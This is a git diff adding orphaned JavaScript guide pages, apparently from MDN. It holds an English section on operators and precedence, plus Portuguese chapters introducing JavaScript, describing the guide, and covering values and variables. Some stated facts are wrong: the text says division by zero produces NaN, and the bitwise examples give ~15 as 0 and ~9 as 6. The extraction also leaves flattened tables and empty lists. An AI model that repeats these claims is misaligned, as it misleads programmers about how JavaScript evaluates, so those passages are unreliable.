Less than or equal (<=)Returns true if the left operand is less than or equal to the right operand.var1 <= var2
+ var2 <= 5
+ +

Arithmetic operators

+ +

Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/). These operators work as they do in most other programming languages when used with floating point numbers (in particular, note that division by zero produces NaN). For example:

+ +
console.log(1 / 2); /* prints 0.5 */
+console.log(1 / 2 == 1.0 / 2.0); /* also this is true */
+
+ +

In addition, JavaScript provides the arithmetic operators listed in the following table.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.3 Arithmetic operators
OperatorDescriptionExample
%
+ (Modulus)
Binary operator. Returns the integer remainder of dividing the two operands.12 % 5 returns 2.
++
+ (Increment)
Unary operator. Adds one to its operand. If used as a prefix operator (++x), returns the value of its operand after adding one; if used as a postfix operator (x++), returns the value of its operand before adding one.If x is 3, then ++x sets x to 4 and returns 4, whereas x++ returns 3 and, only then, sets x to 4.
--
+ (Decrement)
Unary operator. Subtracts one from its operand. The return value is analogous to that for the increment operator.If x is 3, then --x sets x to 2 and returns 2, whereas x-- returns 3 and, only then, sets x to 2.
-
+ (Unary negation)
Unary operator. Returns the negation of its operand.If x is 3, then -x returns -3.
+ +

Bitwise operators

+ +

Bitwise operators treat their operands as a set of 32 bits (zeros and ones), rather than as decimal, hexadecimal, or octal numbers. For example, the decimal number nine has a binary representation of 1001. Bitwise operators perform their operations on such binary representations, but they return standard JavaScript numerical values.

+ +

The following table summarizes JavaScript's bitwise operators.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.4 Bitwise operators
OperatorUsageDescription
Bitwise ANDa & bReturns a one in each bit position for which the corresponding bits of both operands are ones.
Bitwise ORa | bReturns a one in each bit position for which the corresponding bits of either or both operands are ones.
Bitwise XORa ^ bReturns a one in each bit position for which the corresponding bits of either but not both operands are ones.
Bitwise NOT~ aInverts the bits of its operand.
Left shifta << bShifts a in binary representation b bits to the left, shifting in zeros from the right.
Sign-propagating right shifta >> bShifts a in binary representation b bits to the right, discarding bits shifted off.
Zero-fill right shifta >>> bShifts a in binary representation b bits to the right, discarding bits shifted off, and shifting in zeros from the left.
+ +

Bitwise logical operators

+ +

Conceptually, the bitwise logical operators work as follows:

+ + + +

For example, the binary representation of nine is 1001, and the binary representation of fifteen is 1111. So, when the bitwise operators are applied to these values, the results are as follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.5 Bitwise operator examples
ExpressionResultBinary Description
15 & 991111 & 1001 = 1001
15 | 9151111 | 1001 = 1111
15 ^ 961111 ^ 1001 = 0110
~150~1111 = 0000
~96~1001 = 0110
+ +

 

+ +

Bitwise shift operators

+ +

The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.

+ +

Shift operators convert their operands to thirty-two-bit integers and return a result of the same type as the left operand.

+ +

The shift operators are listed in the following table.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.6 Bitwise shift operators
OperatorDescriptionExample
<<
+ (Left shift)
This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.9<<2 yields 36, because 1001 shifted 2 bits to the left becomes 100100, which is 36.
>>
+ (Sign-propagating right shift)
This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left.9>>2 yields 2, because 1001 shifted 2 bits to the right becomes 10, which is 2. Likewise, -9>>2 yields -3, because the sign is preserved.
>>>
+ (Zero-fill right shift)
This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left.19>>>2 yields 4, because 10011 shifted 2 bits to the right becomes 100, which is 4. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.
+ +

Logical operators

+ +

Logical operators are typically used with Boolean (logical) values; when they are, they return a Boolean value. However, the && and || operators actually return the value of one of the specified operands, so if these operators are used with non-Boolean values, they may return a non-Boolean value. The logical operators are described in the following table.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.6 Logical operators
OperatorUsageDescription
&&expr1 && expr2(Logical AND) Returns expr1 if it can be converted to false; otherwise, returns expr2. Thus, when used with Boolean values, && returns true if both operands are true; otherwise, returns false.
||expr1 || expr2(Logical OR) Returns expr1 if it can be converted to true; otherwise, returns expr2. Thus, when used with Boolean values, || returns true if either operand is true; if both are false, returns false.
!!expr(Logical NOT) Returns false if its single operand can be converted to true; otherwise, returns true.
+ +

Examples of expressions that can be converted to false are those that evaluate to null, 0, the empty string (""), or undefined.

+ +

The following code shows examples of the && (logical AND) operator.

+ +
var a1 =  true && true;     // t && t returns true
+var a2 =  true && false;    // t && f returns false
+var a3 = false && true;     // f && t returns false
+var a4 = false && (3 == 4); // f && f returns false
+var a5 = "Cat" && "Dog";    // t && t returns Dog
+var a6 = false && "Cat";    // f && t returns false
+var a7 = "Cat" && false;    // t && f returns false
+
+ +

The following code shows examples of the || (logical OR) operator.

+ +
var o1 =  true || true;     // t || t returns true
+var o2 = false || true;     // f || t returns true
+var o3 =  true || false;    // t || f returns true
+var o4 = false || (3 == 4); // f || f returns false
+var o5 = "Cat" || "Dog";    // t || t returns Cat
+var o6 = false || "Cat";    // f || t returns Cat
+var o7 = "Cat" || false;    // t || f returns Cat
+
+ +

The following code shows examples of the ! (logical NOT) operator.

+ +
var n1 = !true;  // !t returns false
+var n2 = !false; // !f returns true
+var n3 = !"Cat"; // !t returns false
+
+ +

Short-circuit evaluation

+ +

As logical expressions are evaluated left to right, they are tested for possible "short-circuit" evaluation using the following rules:

+ + + +

The rules of logic guarantee that these evaluations are always correct. Note that the anything part of the above expressions is not evaluated, so any side effects of doing so do not take effect.

+ +

String operators

+ +

In addition to the comparison operators, which can be used on string values, the concatenation operator (+) concatenates two string values together, returning another string that is the union of the two operand strings. For example, "my " + "string" returns the string "my string".

+ +

The shorthand assignment operator += can also be used to concatenate strings. For example, if the variable mystring has the value "alpha", then the expression mystring += "bet" evaluates to "alphabet" and assigns this value to mystring.

+ +

Special operators

+ +

JavaScript provides the following special operators:

+ + + +

Conditional operator

+ +

The conditional operator is the only JavaScript operator that takes three operands. The operator can have one of two values based on a condition. The syntax is:

+ +
condition ? val1 : val2
+
+ +

If condition is true, the operator has the value of val1. Otherwise it has the value of val2. You can use the conditional operator anywhere you would use a standard operator.

+ +

For example,

+ +
var status = (age >= 18) ? "adult" : "minor";
+
+ +

This statement assigns the value "adult" to the variable status if age is eighteen or more. Otherwise, it assigns the value "minor" to status.

+ +

Comma operator

+ +

The comma operator (,) simply evaluates both of its operands and returns the value of the second operand. This operator is primarily used inside a for loop, to allow multiple variables to be updated each time through the loop.

+ +

For example, if a is a 2-dimensional array with 10 elements on a side, the following code uses the comma operator to increment two variables at once. The code prints the values of the diagonal elements in the array:

+ +
for (var i = 0, j = 9; i <= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
+
+ +

delete

+ +

The delete operator deletes an object, an object's property, or an element at a specified index in an array. The syntax is:

+ +
delete objectName;
+delete objectName.property;
+delete objectName[index];
+delete property; // legal only within a with statement
+
+ +

where objectName is the name of an object, property is an existing property, and index is an integer representing the location of an element in an array.

+ +

The fourth form is legal only within a with statement, to delete a property from an object.

+ +

You can use the delete operator to delete variables declared implicitly but not those declared with the var statement.

+ +

If the delete operator succeeds, it sets the property or element to undefined. The delete operator returns true if the operation is possible; it returns false if the operation is not possible.

+ +
x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4;    // create property h
+delete x;       // returns true (can delete if declared implicitly)
+delete y;       // returns false (cannot delete if declared with var)
+delete Math.PI; // returns false (cannot delete predefined properties)
+delete myobj.h; // returns true (can delete user-defined properties)
+delete myobj;   // returns true (can delete if declared implicitly)
+
+ +
Deleting array elements
+ +

When you delete an array element, the array length is not affected. For example, if you delete a[3], a[4] is still a[4] and a[3] is undefined.

+ +

When the delete operator removes an array element, that element is no longer in the array. In the following example, trees[3] is removed with delete. However, trees[3] is still addressable and returns undefined.

+ +
var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+delete trees[3];
+if (3 in trees) {
+  // this does not get executed
+}
+
+ +

If you want an array element to exist but have an undefined value, use the undefined keyword instead of the delete operator. In the following example, trees[3] is assigned the value undefined, but the array element still exists:

+ +
var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+trees[3] = undefined;
+if (3 in trees) {
+  // this gets executed
+}
+
+ +

in

+ +

The in operator returns true if the specified property is in the specified object. The syntax is:

+ +
propNameOrNumber in objectName
+
+ +

where propNameOrNumber is a string or numeric expression representing a property name or array index, and objectName is the name of an object.

+ +

The following examples show some uses of the in operator.

+ +
// Arrays
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+0 in trees;        // returns true
+3 in trees;        // returns true
+6 in trees;        // returns false
+"bay" in trees;    // returns false (you must specify the index number,
+                   // not the value at that index)
+"length" in trees; // returns true (length is an Array property)
+
+// Predefined objects
+"PI" in Math;          // returns true
+var myString = new String("coral");
+"length" in myString;  // returns true
+
+// Custom objects
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+"make" in mycar;  // returns true
+"model" in mycar; // returns true
+
+ +

instanceof

+ +

The instanceof operator returns true if the specified object is of the specified object type. The syntax is:

+ +
objectName instanceof objectType
+
+ +

where objectName is the name of the object to compare to objectType, and objectType is an object type, such as Date or Array.

+ +

Use instanceof when you need to confirm the type of an object at runtime. For example, when catching exceptions, you can branch to different exception-handling code depending on the type of exception thrown.

+ +

For example, the following code uses instanceof to determine whether theDay is a Date object. Because theDay is a Date object, the statements in the if statement execute.

+ +
var theDay = new Date(1995, 12, 17);
+if (theDay instanceof Date) {
+  // statements to execute
+}
+
+ +

new

+ +

You can use the new operator to create an instance of a user-defined object type or of one of the predefined object types Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp, or String. On the server, you can also use it with DbPool, Lock, File, or SendMail. Use new as follows:

+ +
var objectName = new objectType([param1, param2, ..., paramN]);
+
+ +

You can also create objects using object initializers, as described in {{ web.link("Working_with_objects#Using_object_initializers", "using object initializers") }}.

+ +

See the new operator page in the Core JavaScript Reference for more information.

+ +

this

+ +

Use the this keyword to refer to the current object. In general, this refers to the calling object in a method. Use this as follows:

+ +
this["propertyName"]
+
+ +
this.propertyName
+
+ +

Example 1.
+ Suppose a function called validate validates an object's value property, given the object and the high and low values:

+ +
function validate(obj, lowval, hival){
+  if ((obj.value < lowval) || (obj.value > hival))
+    alert("Invalid Value!");
+}
+
+ +

You could call validate in each form element's onChange event handler, using this to pass it the form element, as in the following example:

+ +
<B>Enter a number between 18 and 99:</B>
+<INPUT TYPE="text" NAME="age" SIZE=3
+   onChange="validate(this, 18, 99);">
+
+ +

Example 2.
+ When combined with the form property, this can refer to the current object's parent form. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm.

+ +
<FORM NAME="myForm">
+Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
+<P>
+<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
+   onClick="this.form.text1.value = this.form.name;">
+</FORM>
+
+ +

typeof

+ +

The typeof operator is used in either of the following ways:

+ +
    +
  1. +
    typeof operand
    +
    +
  2. +
  3. +
    typeof (operand)
    +
    +
  4. +
+ +

The typeof operator returns a string indicating the type of the unevaluated operand. operand is the string, variable, keyword, or object for which the type is to be returned. The parentheses are optional.

+ +

Suppose you define the following variables:

+ +
var myFun = new Function("5 + 2");
+var shape = "round";
+var size = 1;
+var today = new Date();
+
+ +

The typeof operator returns the following results for these variables:

+ +
typeof myFun;     // returns "function"
+typeof shape;     // returns "string"
+typeof size;      // returns "number"
+typeof today;     // returns "object"
+typeof dontExist; // returns "undefined"
+
+ +

For the keywords true and null, the typeof operator returns the following results:

+ +
typeof true; // returns "boolean"
+typeof null; // returns "object"
+
+ +

For a number or string, the typeof operator returns the following results:

+ +
typeof 62;            // returns "number"
+typeof 'Hello world'; // returns "string"
+
+ +

For property values, the typeof operator returns the type of value the property contains:

+ +
typeof document.lastModified; // returns "string"
+typeof window.length;         // returns "number"
+typeof Math.LN2;              // returns "number"
+
+ +

For methods and functions, the typeof operator returns results as follows:

+ +
typeof blur;        // returns "function"
+typeof eval;        // returns "function"
+typeof parseInt;    // returns "function"
+typeof shape.split; // returns "function"
+
+ +

For predefined objects, the typeof operator returns results as follows:

+ +
typeof Date;     // returns "function"
+typeof Function; // returns "function"
+typeof Math;     // returns "object"
+typeof Option;   // returns "function"
+typeof String;   // returns "function"
+
+ +

void

+ +

The void operator is used in either of the following ways:

+ +
    +
  1. +
    void (expression)
    +
    +
  2. +
  3. +
    void expression
    +
    +
  4. +
+ +

The void operator specifies an expression to be evaluated without returning a value. expression is a JavaScript expression to evaluate. The parentheses surrounding the expression are optional, but it is good style to use them.

+ +

You can use the void operator to specify an expression as a hypertext link. The expression is evaluated but is not loaded in place of the current document.

+ +

The following code creates a hypertext link that does nothing when the user clicks it. When the user clicks the link, void(0) evaluates to undefined, which has no effect in JavaScript.

+ +
<A HREF="javascript:void(0)">Click here to do nothing</A>
+
+ +

The following code creates a hypertext link that submits a form when the user clicks it.

+ +
<A HREF="javascript:void(document.form.submit())">
+Click here to submit</A>
+ +

Operator precedence

+ +

The precedence of operators determines the order they are applied when evaluating an expression. You can override operator precedence by using parentheses.

+ +

The following table describes the precedence of operators, from highest to lowest.

+ +

In accordance with relevant discussion, this table was reversed to list operators in decreasing order of priority.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 3.7 Operator precedence
Operator typeIndividual operators
member. []
call / create instance() new
negation/increment! ~ - + ++ -- typeof void delete
multiply/divide* / %
addition/subtraction+ -
bitwise shift<< >> >>>
relational< <= > >= in instanceof
equality== != === !==
bitwise-and&
bitwise-xor^
bitwise-or|
logical-and&&
logical-or||
conditional?:
assignment= += -= *= /= %= <<= >>= >>>= &= ^= |=
comma,
+ +

A more detailed version of this table, complete with links to additional details about each operator, may be found in JavaScript Reference.

diff --git "a/files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" "b/files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" new file mode 100644 index 0000000000..549ecbe331 --- /dev/null +++ "b/files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" @@ -0,0 +1,47 @@ +--- +title: Introdução ao JavaScript +slug: Web/JavaScript/Guia/Introdução_ao_JavaScript +--- +

Este capítulo introduz o JavaScript e discute alguns de seus conceitos fundamentais.

+

O que é o JavaScript?

+

O JavaScript é uma linguagem de script multiplataforma, orientada a objetos. O JavaScript é uma linguagem pequena e leve; não é útil como uma linguagem de uso isolado, mas é projetada para fácil integração em outros produtos e aplicações, tais como navegadores web. Dentro de um ambiente de hospedagem, o JavaScript pode ser conectado aos objetos de seu ambiente para proporcionar um controle programático sobre elas.

+

O núcleo do JavaScript contém um  núcleo de objetos, como Array, Date, e Math, e um núcleo de elementos de linguagem como operadores, estruturas de controle, e declarações. O núcleo do JavaScript pode ser extendido para uma variedade de propósitos complementando-o com objetos adicionais; por exemplo:

+ +

Através da funcionalidade JavaScript's LiveConnect, pode-se permitir que códigos em Java e em JavaScript comuniquem-se. É possível instanciar objetos Java e acessar seus métodos e campos públicos a partir do JavaScript. A partir do Java, por sua vez, pode-se acessar objetos, propriedades e métodos do JavaScript.

+

O Netscape inventou o JavaScript e o JavaScript foi inicialmente usado em navegadores Netscape.

+

JavaScript e Java

+

O JavaScript e o Java são similares em algumas coisas, mas fundamentalmente diferentes em outras. A linguagem JavaScript assemelha-se ao Java, mas não possui a checagem de tipos forte e digitação estática do Java. O JavaScript suport a maioria das sintaxes de expressões em Java e um construtor básico de controles de fluxo.

+

Em contraste com o sistema em tempo de compilação do Java, de classes construídas por declarações, o JavaScript suporta um sistema de tempo de execução baseado em um pequeno número de tipos de dados representando números, booleanos, e valores de strings. O JavaScript possui um modelo de objetos baseado em protótipos, ao invés do mais comum, modelo de objetos baseado em classes. O modelo baseado em protótipos provê a herança dinâmica; isto é, o que é herdado pode variar para objetos individuais. O JavaScript também suporta funções sem requisições especiais de declaração. Funções podem ser propriedades de objetos, executando métodos fracamente tipados.

+

O JavaScript é uma linguagem com forma bastante livre comparada ao Java. Você não precisa declarar todas as variáveis, classes e métodos. Você não precisa se preocupar se os métodos são públicos, privados ou protegidos, e você não precisa implementar interfaces. Tipos de variáveis, parâmetros e retornos de funções não são explicitados.

+

O Java é uma linguagem de programação baseada em classes e projetava para rápida execução e tipagem segura. Tipagem segura significa, por exemplo, que você não pode converter um inteiro do Java para uma referência de um objeto ou acessar a memória privada, corrompendo bytecodes do Java. O modelo baseado em classes do Java significa que o programa consiste exclusivamente de classes e seus métodos. A herança das classes no Java e a tipagem forte, geralmente requerem objetos com hierarquias firmemente acopladas. Estes requisitos fazem do Java uma linguagem de programação mais complexa que a autoria do JavaScript.

+

Em contraste, o JavaScript descende em espírito de uma linha menor, linguagens tipadas dinamicamente, tais como HyperTalk e dBASE. Estas linguagens de stript oferecem ferramentas de programação para um público muito maior, devido a simplicidade de sua sintaxe, funcionalidades especializadas integradas e requisitos mínimos para criação de objetos.

+ +
Tabela 1.1 JavaScript em comparação ao Java
JavaScript Java
Orientação a objetos. Sem distinção entre tipos de objetos. A herança ocorre através do mecanismo de protótipos e os métodos e propriedades podem ser adicionados a qualquer objeto dinamicamente. Baseada em classes. Objetos são divididos em classes e instâncias com toda a herança através da hierarquia da classe. Classes e instâncias não podem ter métodos e propriedades adicionados dinamicamente.
Tipos de dados variáveis não são declarados (tipagem dinâmica). Tipos de dados variáveis precisam ser declarados (tipagem estática).
Não pode escrever automaticamente no disco rígido. Não pode escrever automaticamente no disco rígido.
+

Para mais informações sobre as diferenças entre o JavaScript e o Java, veja o capítulo Details of the Object Model.

JavaScript e a especificação ECMAScript

+

O Netscape inventou o JavaScript e o JavaScript foi primeiramente usado nos navegadores Netscape. Entretanto, a Netscape está trabalhando com a Ecma International — a associação européia para padronizão de informação e sistemas de comunicação (formalmente conhecida como ECMA - European Computer Manufacturers Association, em português: Associação de Fabricantes de Computadores Europeus) — para entregar uma linguagem de programação internacional padronizada, baseada no JavaScript. Esta versão padronizada do JavaScript, chamada de ECMAScript, comporta-se da mesma maneira em todas as aplicações que suportem o padrão. Empresas podem usar a linguagem padrão aberta para desenvolver sua implementação do JavaScript. O ECMAScript padrão é documentado na especificação ECMA-262.

+

O padrão ECMA-262 é também aprovado pela ISO (International Organization for Standardization, em português: Organização Internacional para Padronização) como ISO-16262. Você pode encontrar uma versão PDF do ECMA-262 (en) no site da Mozilla. Você pode também encontrar a especificação em the Ecma International website (en). A especificação do ECMAScript não descreve o Document Object Model (DOM), o qual é padronizado pelo World Wide Web Consortium (W3C). O DOM define a maneira com a qual os objetos do documento HTML são expostos ao seu script.

+

Relação entre as versões do JavaScript e as edições do ECMAScript

+

O Netscape trabalhou próximo a Ecma International para produzir a Especificação ECMAScript (ECMA-262). A tabela seguinte descreve a relação entre as versões do JavaScript e as edições do ECMAScript.

+ +
Tabela 1.2 Versões do JavaScript e edições do ECMAScript
Versão do JavaScript Relação com a edição do ECMAScript
JavaScript 1.1 O ECMA-262, Edição 1 é baseado no JavaScript 1.1.
JavaScript 1.2 O ECMA-262 não estava completo quando o JavaScript 1.2 foi lançado. O JavaScript 1.2 não é totalmente compatível com o ECMA-262, Edição 1, pelas seguintes razões:
  • O Netscape desenvolveu características adicionais no JavaScript 1.2 que não foram consideradas no ECMA-262.
  • O ECMA-262 adiciona duas novas características: internacionalização usando Unicode e comportamento uniforme em todas as plataformas. Muitas características do JavaScript 1.2, tais com o objeto Date, eram dependentes de plataforma e usavam um comportamento específico da plataforma.

JavaScript 1.3

O JavaScript 1.3 é totalmente compatível com o ECMA-262, Edição 1.

O JavaScript 1.3 corrigiu as inconsistências que o JavaScript 1.2 tinha com o ECMA-262, mantendo todas as características adicionais do JavaScript 1.2 com a exceção de  == e !=, os quais foram mudados conforme o ECMA-262.

JavaScript 1.4

O JavaScript 1.4 é totalmente comatível com o ECMA-262, Edição 1.

A terceira versão da especificação ECMAScript não estava finalizada quando o JavaScript 1.4 foi lançado.

JavaScript 1.5 O JavaScript 1.5 é totalmente compatível com o ECMA-262, Edição 3.
+
Nota: O ECMA-262, Edição 2 consistiu de mudanças editoriais pequenas e correções de bugs da especificação da Edição 1. O grupo de trabalho TC39 da Ecma International está atualmente trabalhando no ECMAScript Edição 4, o qual corresponderá a um lançamento futuro do JavaScript, o JavaScript 2.0.
+

A Referência de JavaScript (en) indica quais características da linguagem estão em conformidade com o ECMAScript.

+

O JavaScript sempre permite incluir características que não fazem parte da Especificação do ECMAScript; O JavaScript é compatível com o ECMASCript; mesmo provendo características adicionais.

Documentação do JavaScript versus a especificação do ECMAScript

+

A especificação do ECMAScript é um conjunto de requisitos para a implementação do ECMAScript; ela é útil caso deseje-se determinar, se uma característica do JavaScript é suportada em outras implementações do ECMAScript. Caso planeje-se escrever código JavaScript usando somente características suportadas pelo ECMAScript, então é interessante checar a especificação ECMAScript.

+

O documento ECMAScript não pretende ajudar programadores de scripts; para informações sobre escrita de scripts, deve-se usar a documentação do JavaScript.

Terminologia do JavaScript e do ECMAScript

+

A especificação do ECMAScript utiliza a terminologia e sintaxe que pode ser desconhecida para um programador JavaScript. Embora a descrição da linguagem possa diferir, a linguagem em si, é a mesma. O JavaScript suporta todas as funcionalidades descritas na especificação ECMAScript.

+

A documentação do JavaScript descreve aspectos da linguagem que são apropriados para um programador JavaScript. Por exemplo:

+ +
autoPreviousNext("JSGChapters");
+wiki.languages({
+  "en": "en/JavaScript/Guide/JavaScript_Overview",
+  "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_de_JavaScript",
+  "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript",
+  "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview",
+  "ko": "ko/Core_JavaScript_1.5_Guide/JavaScript_Overview",
+  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Przegl\u0105d_JavaScriptu",
+  "zh-cn": "cn/Core_JavaScript_1.5_Guide/JavaScript\u603b\u89c8",
+  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要"
+});
diff --git a/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html b/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html new file mode 100644 index 0000000000..6957645a40 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html @@ -0,0 +1,166 @@ +--- +title: Sobre este guia +slug: Web/JavaScript/Guia/Sobre +--- +

JavaScript é uma linguagem de scripts multiplataforma, baseada em objetos. Este guia explica tudo que é necessário saber sobre como utilizar o JavaScript.

+ +

Novas caraterísticas em versões do JavaScript

+ +
/* Nota: Para adicionar um link na descrição de uma nova versão do JavaScript,
+adicione o número da variável versionList abaixo. A página ligada deve
+residir em /en/JavaScript/New_in_JavaScript/N, onde N é o número da versão. */
+
+var versionList = ["1.5", "1.6", "1.7", "1.8", "1.8.1", "1.8.5"];
+var s = "";
+<ul>
+  foreach (var i in versionList){
+    let s = "/en/JavaScript/New_in_JavaScript/" .. i;
+    <li>web.link(s, wiki.getPage(s).title)</li>;
+  }
+</ul>;
+ +

O que já é necessário saber

+ +

Este guia assume que já possui os seguintes conhecimentos como base:

+ + + +

Alguma experiência de programação com uma linguagem como C ou Visual Basic é útil, mas não necessária.

+ +

Versões do JavaScript

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tabela 1 Versões do JavaScript e do Navigator
versão JavaScriptversão Navigator
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
+ Mozilla (navegador open source)
JavaScript 1.6Firefox 1.5, outros produtos baseados no Mozilla 1.8
JavaScript 1.7Firefox 2, outros produtos baseados no Mozilla 1.8.1
JavaScript 1.8Firefox 3, outros produtos baseados no Gecko 1.9
+ +

Cada versão do Netscape Enterprise Server também suporta diferentes versões do JavaScript. Para ajudar na escrita de scripts compatíveis com múltiplas versões do Enterprise Server, este manual usa uma abreviação para indicar a versão do servidor na qual cada característica foi implementada.

+ + + + + + + + + + + + + + + + + + + +
Tabela 2 Abreviações das versões do Netscape Enterprise Server
Abreviaçãoversão Enterprise Server
NES 2.0Netscape Enterprise Server 2.0
NES 3.0Netscape Enterprise Server 3.0
+ +

Onde encontrar informações sobre JavaScript

+ +

A documentação do JavaScript inclui os seguintes livros:

+ + + +

Se você é novo no JavaScript, comece com o Guia de JavaScript. Uma vez que você tenha uma boa compreensão dos fundamentos, você pode usar a Referência JavaScript para obter mais detalhes sobre objetos e declarações.

+ +

Dicas para aprender JavaScript

+ +

Começar com o JavaScript é fácil: é necessário apenas um navegador web moderno. Este guia inclui algumas características do JavaScript que estão atualmente disponíveis nas últimas versões do Firefox (e outros navegadores baseados no Gecko), é recomendado, portanto, o uso da versão mais recente do Firefox.

+ +

Um interpretador interativo

+ +

Uma linha de comando interativa com JavaScript é inestimável para o aprendizado da linguagem, pois permite experimentar código de forma interativa sem ter que salvar um arquivo e recarregar a página. O Console de erros do Firefox, acessível através do menu de Ferramentas, fornece uma maneira simples de testar JavaScript interativamente: Basta entrar uma linha de código e clicar no botão "Executar".

+ +

Image:ErrorConsole.png

+ +

Firebug

+ +

Uma linha de comando interativa mais avançada está disponível com o uso do Firebug, uma extensão de terceiros para o Firefox. O Firebug também fornece um inspetor DOM avançado, um depurador de JavaScript, uma ferramenta de análise e vários outros utilitários.

+ +

Image:Firebug.png

+ +

Um dos mais úteis benefícios proporcionados pelo Firebug é console.log(), uma função que imprime seus argumentos no console do Firebug. Diferentemente de outras linguagens de programação, o JavaScript não possui um conceito de impressão para a saída padrão. O console.log() fornece uma alternativa útil, tornando mais fácil ver o que seu programa está fazendo.

+ +

Muitos dos exemplos neste guia usam alert() para exibir mensagens conforme são executados. Tendo o Firebug instalado, pode ser usando console.log() ao invés de alert() ao rodar estes exemplos.

+ +

Convenções de documento

+ +

Aplicações JavaScript rodam em muitos sistemas operacionais; a informação neste livro aplica-se a todas as versões. Os caminhos de arquivos e diretórios são dados no formato Windows (com contrabarras separando os nomes dos diretórios). Para versões Unix, os caminhos são os mesmo, exceto por serem usadas barras ao invés de contrabarras para separar os diretórios.

+ +

Este guia usa localizador padrão de recursos (uniform resource locators (URL)) da seguinte forma:

+ +

http://server.domain/path/file.html

+ +

Nestas URL, server representa o nome do servidor no qual a aplicação é rodada, tal como research1 ou www; domain representa seu domínio de internet, como netscape.com ou uiuc.edu; path representa a estrutura do diretório no servidor; e file.html representa o nome de um arquivo individual. No geral, itens em itálico em são placeholders e itens em fonte monoespaçada normal são literais. Se o servidor possuir Secure Sockets Layer (SSL) habilitado, pode ser usado https ao invés de http na URL.

+ +

Este guia utiliza as seguintes convenções de fontes:

+ + + +
autoPreviousNext("JSGChapters");
+wiki.languages({
+  "en": "en/JavaScript/Guide/About",
+  "es": "es/Gu\u00eda_JavaScript_1.5/Acerca_de_esta_gu\u00eda",
+  "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos",
+  "ja": "ja/Core_JavaScript_1.5_Guide/About",
+  "ko": "ko/Core_JavaScript_1.5_Guide/About",
+  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O_tym_przewodniku",
+  "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u5173\u4e8e",
+  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/關於"
+})
+
diff --git "a/files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" "b/files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" new file mode 100644 index 0000000000..c2cbc7f3db --- /dev/null +++ "b/files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" @@ -0,0 +1,547 @@ +--- +title: 'Valores, Variáveis e Literais' +slug: 'Web/JavaScript/Guia/Valores,_Variáveis_e_Literais' +--- +

Este capítulo discute valores reconhecidos pelo JavaScript e descreve a construção de blocos fundamentais de expressões em JavaScript: variáveis, constantes e literais.

+ +

Valores

+ +

O JavaScript reconhece os seguintes tipos de valores:

+ + + +

Este conjunto de tipos de valores relativamente pequeno, permite realizar funções úteis com suas aplicações. Não há distinção explícita entre números inteiros e reais. Nem existe um tipo de dados de datas explícito em JavaScript. Entretanto, é possível utilizar o objeto Date (en) e seus métodos para lidar com datas.

+ +

Objetos (en) e funções (en) são os outros elementos fundamentias da linguagem. Pode-se pensar em objetos como nomes nos quais podem ser guardados valores, e funções como procedimentos que sua aplicação pode executar.

+ +

Conversão de tipos de dados

+ +

O JavaScript é uma linguagem de tipagem dinâmica. Isto significa que não é necessário especificar o tipo de dado de uma variável quando ela for declarada, e tipos de dados são automaticamento convertidos conforme necessário durante a execução do script. Então, por exemplo, pode-se definir uma variável como:

+ +
var resposta = 42;
+
+ +

E depois, pode-se atribuir para a mesma variável um valor de string, por exemplo:

+ +
resposta = "Obrigado pelos peixes...";
+
+ +

Como o JavaScript possui tipagem dinâmica, esta atribuição não gera uma mensagem de erro.

+ +

